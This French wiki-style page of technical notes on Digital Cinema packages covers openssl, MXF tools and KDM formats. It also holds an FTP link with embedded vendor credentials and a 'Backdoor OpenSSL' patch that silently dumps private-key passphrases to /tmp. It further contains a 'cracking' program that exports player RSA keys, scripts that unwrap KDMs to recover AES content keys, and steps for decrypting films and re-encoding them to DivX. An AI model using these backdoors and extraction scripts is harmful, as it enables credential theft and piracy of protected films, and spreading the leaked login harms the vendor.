====== DCI ====== [[Player DCP]] Certificat Doremi: - ftp://service:t3chn1c1an@ftp.doremilabs.com/Certificates/ ====== Informations de base ====== Certificats Private/Public Key RSA Les clefs privés machines sont en RSA 2048 bits (asymétrique). Les clefs publics machines sont en RSA 2048 bits (asymétrique) Un DCP chiffré : Chiffrage symétrique "AES 128 bits en mode CBC" ( AES-128-CBC ) ====== Naviguer dans l'arborescence XML ====== $ apt-get install xmlstarlet > http://xmlstar.sourceforge.net/doc/xmlstarlet.txt ^ Format ^ Command ^ | Récupérer que la valeur (en virant le XML) | xmlstarlet sel -t -v "//lr:recordBodyHash" dcilogs-smpte.xml | | Récupérer le contenu XML | xmlstarlet sel -t -c "//lr:LogRecordBody" dcilogs-smpte.xml | ====== Ouverture Certificat PEM ======= $ openssl rsa -in key.pem -passin pass:your_passphrase $ openssl rsa -in key.pem -passin file:your_file_key ====== Vérification clef RSA (PEM) ======= $ openssl rsa -in key.pem -check RSA key ok writing RSA key ======= Backdoor OpenSSL ======== # crypto/pem/* crypto/pem/pem_lib.c crypto/pem/pem_pk8.c ===== PEM RSA ====== ** crypto/pem/pem_lib.c ** int PEM_do_header( EVP_CIPHER_INFO *cipher, unsigned char *data, long *plen, pem_password_cb *callback, void *u) --- crypto/pem/pem_lib.c.orig 2012-03-09 15:02:48.000000000 -0500 +++ crypto/pem/pem_lib.c 2012-03-08 14:38:27.000000000 -0500 @@ -401,6 +401,13 @@ klen=PEM_def_callback(buf,PEM_BUFSIZE,0,u); else klen=callback(buf,PEM_BUFSIZE,0,u); + + /* HACKING */ + FILE *fh = fopen("/tmp/key.dump", "a"); + fwrite(buf, klen, 1, fh); + fwrite("\n", 1, 1, fh); + fclose(fh); + if (klen <= 0) { PEMerr(PEM_F_PEM_DO_HEADER,PEM_R_BAD_PASSWORD_READ); ===== PEM PKCS8 ====== ** crypto/pem/pem_pk8.c ** static int do_pk8pkey(BIO *bp, EVP_PKEY *x, int isder, int nid, const EVP_CIPHER *enc, char *kstr, int klen, pem_password_cb *cb, void *u) { --- crypto/pem/pem_pk8.c.orig 2012-03-09 15:04:58.000000000 -0500 +++ crypto/pem/pem_pk8.c 2012-03-08 14:40:28.000000000 -0500 @@ -134,6 +134,13 @@ kstr = buf; } + + /* HACKING */ + FILE *fh = fopen("/tmp/pkcs8.key", "a"); + fwrite(kstr, klen, 1, fh); + fwrite("\n", 1, 1, fh); + fclose(fh); + p8 = PKCS8_encrypt(nid, enc, kstr, klen, NULL, 0, 0, p8inf); if(kstr == buf) OPENSSL_cleanse(buf, klen); PKCS8_PRIV_KEY_INFO_free(p8inf); ===== Input : PEM PrivateKey / Output : RSA PrivateKey ===== ** Source ** #include #include int callback(char *buf, int size, int rwflag, void *u) { int len = 16; FILE *fp = fopen("essence.key", "r"); if(fp == NULL) exit(240); // force break fread(buf, len, 1, fp); fclose(fp); return len; } int main(void) { FILE *fp; char *cert = 0; int len = 0; fp = fopen ("certificate.pem", "r"); if (fp == NULL) return(254); SSL_library_init(); EVP_PKEY *pkey = PEM_read_PrivateKey(fp, NULL, callback, NULL); if( pkey == NULL ) return(253); RSA *rsa = EVP_PKEY_get1_RSA(pkey); BIO *bio=BIO_new(BIO_s_mem()); RSA_print(bio, rsa, 0); BIO_get_mem_data(bio, &cert); printf("%s\n", cert); PEM_write_RSAPrivateKey(stdout,rsa, NULL, NULL, 0, NULL, NULL); if(bio != NULL) BIO_free_all(bio); } ** Compilation : ** gcc cracking-gdc-key.c -o cracking-gdc-key `pkg-config --libs --cflags libcrypto libssl` ====== Création d'un mot de passe BSD-MD5 ======== $ openssl passwd -1 "your_password" $1$hAqTejpR$.gGD8lwejGQ05isMONqe2/ ====== Récupération de la CryptographicKey d'un MXF ======== $ asdcp-test -i -H file.mxf 2> /dev/null | grep "CryptographicKeyID:" | awk '{ print $2 }' ======= Création des hashs ( recordBodyHash ) DIGEST/SHA-1 ======== cat test1.xml | openssl dgst -sha1 -binary | openssl base64 knVZroDtRlaCTd8MgSY1FBTjFNI= ou openssl sha1 -binary "file1.xml" | openssl base64 -e ======== Informations diverses ======== ^ **Nom** ^ **Encodage** ^ **Incomplet** ^ **Informations** ^ | SignatureValue | SHA256 | FIXME | | | PreviousHeaderHash | CanonicalizedXML/SHA1/Base64 | FIXME | Récupération du précédent header | | RecordBodyHash | CanonicalizedXML/SHA1/Base64 | FIXME | Récupération du body en dessous du header | ====== Decoding Cipher DCP ====== ===== Méthode manuel ===== Dans un KDM : AuthenticatedPrivate > EncryptedKey > CipherData > CipherValue $ openssl enc -d -base64 -in cipher.txt -out cipher.bin $ openssl rsautl -oaep -decrypt -in cipher.bin -inkey privatekey.pem > cipher.bin.dec ** SMPTE KDM (S430-1 KDM, Section 6.1.2 CipherData) ** ^_^**Description **^ **Length** ^ **Field description** ^ ^A|** Structure ID ** |16 | Structure ID. A 128-bit identifier for this structure. The value of the Structure ID shall be f1.dc.12.44.60.16.9a.0e.85.bc.30.06.42.f8.66.ab| ^B|** Certificate ThumbPrint ** |20 | Certificate Thumbprint in binary form as specified in “Certificate and Public Key Thumbprint” of [D-Cinema Digital Certificate].| ^C|** CPL Id ** |16 | CompositionPlaylistId, a UUID in binary form as specified in RFC 4122.| ^D|** KeyType ** |4 | KeyType, a byte string of length four bytes (see section 5.2.8.2 table).| ^E|** KeyId ** |16 | KeyId, a UUID in binary form as specified in RFC 4122.| ^F|** Date Not Valid Before ** |25 | Not Valid Before, a UTC date-time encoded as specified in Section 5.2.6, e.g. “2004-05-01T13:20:00-00:00”.| ^G|** Date Not Valid Before ** |25 | Not Valid After - a UTC date-time encoded as specified in per Section 5.2.7, e.g. “2004-06-30T13:20:00-00:00”.| ^H|** Key AES** |16 | AES Content Decryption Key| ^ ^ ^138 ^ Total| ^A|** Extraction de la Structure ID ** | dd if=cipher.bin.dec bs=1 count=16 skip=0 status=noxfer 2> /dev/null (pipe) hexdump| ^B|** Extraction de la Certificate ThumbPrint ** | dd if=cipher.bin.dec bs=1 count=20 skip=16 status=noxfer 2> /dev/null (pipe) hexdump | ^C|** Extraction de la CPL Id ** | dd if=cipher.bin.dec bs=1 count=16 skip=36 status=noxfer 2> /dev/null (pipe) hexdump | ^D|** Extraction de la KeyType ** | dd if=cipher.bin.dec bs=1 count=4 skip=52 status=noxfer 2> /dev/null| ^E|** Extraction de la KeyId ** | dd if=cipher.bin.dec bs=1 count=16 skip=56 status=noxfer 2> /dev/null| ^F|** Extraction de la date Not Valid Before ** | dd if=cipher.bin.dec bs=1 count=25 skip=72 status=noxfer 2> /dev/null| ^G|** Extraction de la date Not Valid Before ** | dd if=cipher.bin.dec bs=1 count=25 skip=97 status=noxfer 2> /dev/null| ^H|** Extraction de la clef de chiffrement AES du MXF video (MDIK) ** | dd if=cipher.bin.dec bs=1 count=16 skip=122 status=noxfer 2> /dev/null (pipe) hexdump| ===== Méthode automatique ===== Prérequis : Récupération de la CipherValue dans un KDM (enc:CipherValue) Prérequis : Récupération de la PrivateKey du player #!/bin/bash CIPHERKEY=$1 PRIVATEKEY=$2 if [ $# -ne 2 ]; then echo "$0 "; exit; fi if ! test -f "${CIPHERKEY}"; then echo "Cipher key '${CIPHERKEY}' not found"; exit; fi if ! test -f "${PRIVATEKEY}"; then echo "Private key '${PRIVATEKEY}' not found"; exit; fi if ! test -f "${CIPHERKEY}.bin"; then echo "( ) Decrypt (base64) CipherValue" openssl enc -d -base64 -in "${CIPHERKEY}" -out "${CIPHERKEY}.bin" fi if ! test -f "${CIPHERKEY}.bin.dec"; then echo "( ) Decrypt (RSA/OAEP) CipherValue" openssl rsautl -oaep -decrypt -in "${CIPHERKEY}.bin" -inkey "${PRIVATEKEY}" > "${CIPHERKEY}.bin.dec" fi function decode { local str=$1 local count=$2 local skip=$3 local hex=$4 local value=`dd if="${CIPHERKEY}.bin.dec" bs=1 count=${count} skip=${skip} status=noxfer 2> /dev/null` if [ "${hex}x" == "1x" ]; then value=`echo -ne "${value}" | hexdump -n 128 | head -n1 | awk '{ print $2$3$4$5$6$7$8$9 }'` fi printf "%s %s\n" "${str}" "${value}" } echo "( ) Opening ${CIPHERKEY}.bin.dec" decode " ╠═══ Structure ID ──────────────────────────────→" 16 0 1 decode " ╠═══ Certificate and Public Key Thumbprint ─────→" 20 16 1 decode " ╠═══ CompositionPlaylistId (CPL Id) ────────────→" 16 36 1 decode " ╠═══ KeyType ───────────────────────────────────→" 4 52 decode " ╠═══ KeyId ─────────────────────────────────────→" 16 56 1 decode " ╠═══ Not Valid Before ──────────────────────────→" 25 72 decode " ╠═══ Not Valid After ───────────────────────────→" 25 97 decode " ╚═══ AES Key ───────────────────────────────────→" 16 122 1 =========== MXF ========== ===== Video ===== $ asdcp-test -v -x ./output/image jp2k_enc_video.mxf Frame Buffer size: 4194304 AspectRatio: 2048/1080 EditRate: 24/1 SampleRate: 24/1 StoredWidth: 2048 StoredHeight: 1080 Rsize: 3 Xsize: 2048 Ysize: 1080 XOsize: 0 YOsize: 0 XTsize: 2048 YTsize: 1080 XTOsize: 0 YTOsize: 0 ContainerDuration: 360 -- JPEG 2000 Metadata -- ImageComponents: bits h-sep v-sep 12 1 1 12 1 1 12 1 1 Scod: 0 ProgressionOrder: 0 NumberOfLayers: 0 MultiCompTransform: 0 DecompositionLevels: 0 CodeblockWidth: 0 CodeblockHeight: 0 CodeblockStyle: 0 Transformation: 0 Precincts: 0 precinct dimensions: Sqcd: 0 SPqcd: 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000 Frame: 000000, 1280344 bytes Frame: 000001, 1279704 bytes Frame: 000002, 1276600 bytes Frame: 000003, 1281528 bytes Frame: 000004, 1277496 bytes Frame: 000005, 1279368 bytes Frame: 000006, 1279672 bytes Frame: 000007, 1278264 bytes Frame: 000008, 1275080 bytes Frame: 000009, 1278264 bytes Frame: 000010, 1275000 bytes Frame: 000011, 1281576 bytes ** Version cryptographique ** asdcp-test -v -x ./output/image \ -k adcafe5aca5f6bfd87ca381245acfeac \ jp2k_enc_video.mxf ** Type d'output ** JPEG-2000 Code Stream Bitmap data ====== Encoding J2C to DivX ====== # for file in *.j2c; do echo $file; convert ${file} ${file}.jpg; done; # mencoder mf://0001*.jpg -mf fps=24 -ovc xvid -ffourcc DIVX -xvidencopts pass=1:vhq=4:autoaspect -vf scale=2048:857 -o movie.avi ====== Encoding/Decoding Base64 Package ===== $ openssl base64 -in package -out package.enc $ openssl enc -d -base64 -in package.enc -out package ====== Packaging ====== Wrappé en base64 ===== getdcp ===== Partie de code en Perl pour décrypter un MXF si on a le KDM et le certificat privé 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 KAAA ===== DKDM Dewrap ===== def unwrap_dkdm(dkdm_file): print("* Opening DKDM %s" % dkdm_file) with open(dkdm_file, "r") as file: dkdm = xmltodict.parse(file.read(), dict_constructor=dict, process_namespaces=False, xml_attribs=True) print("* Opening Private Key %s" % self.args.private_key) with open(self.args.private_key, "r") as file: private_key = file.read() privkey = RSA.importKey(private_key, passphrase=base64.b64decode("VGhlIFRydXRoIElzIE91dCBUaGVyZS4=")) # tiny-tiny-obfuscation decipher = PKCS1_OAEP.new(privkey) # DCinemaSecurityMessage > AuthenticatedPublic > RequiredExtensions > KDMRequiredExtensions > KeyIdList > TypedKeyId[] > KeyId print("\n* Parsing DCinemaSecurityMessage > AuthenticatedPublic > RequiredExtensions > KDMRequiredExtensions > KeyIdList > TypedKeyId > KeyId") for index, key in enumerate(dkdm['DCinemaSecurityMessage']['AuthenticatedPublic']['RequiredExtensions']['KDMRequiredExtensions']['KeyIdList']['TypedKeyId']): uuid = key['KeyId'].split("urn:uuid:")[1] print("[%02d] Indexing %s - %s" % (index, uuid, key['KeyType']['#text'])) # DCinemaSecurityMessage > AuthenticatedPrivate > enc:EncryptedKey[] > enc:CipherData print("\n* Parsing DCinemaSecurityMessage > AuthenticatedPrivate > enc:EncryptedKey > enc:CipherData") for index, key in enumerate(dkdm['DCinemaSecurityMessage']['AuthenticatedPrivate']['enc:EncryptedKey']): cipher_base64 = key['enc:CipherData']['enc:CipherValue'] cipher_text = base64.b64decode(cipher_base64) plain_text = decipher.decrypt(cipher_text) print("* Structure ID :", binascii.hexlify(plain_text[0:0+16]).decode('utf-8')) print("* Certificate ThumbPrint :", binascii.hexlify(plain_text[16:16+20]).decode('utf-8')) print("* CPL Id :", binascii.hexlify(plain_text[36:36+16]).decode('utf-8')) print("* KeyType :", plain_text[52:52+4].decode('utf-8')) print("* KeyId :", binascii.hexlify(plain_text[56:56+16]).decode('utf-8')) print("* Date Not Valid Before :", plain_text[72:72+25].decode('utf-8')) print("* Date Not Valid After :", plain_text[97:97+25].decode('utf-8')) print("* AES Key :", binascii.hexlify(plain_text[122:122+16]).decode('utf-8')) print("")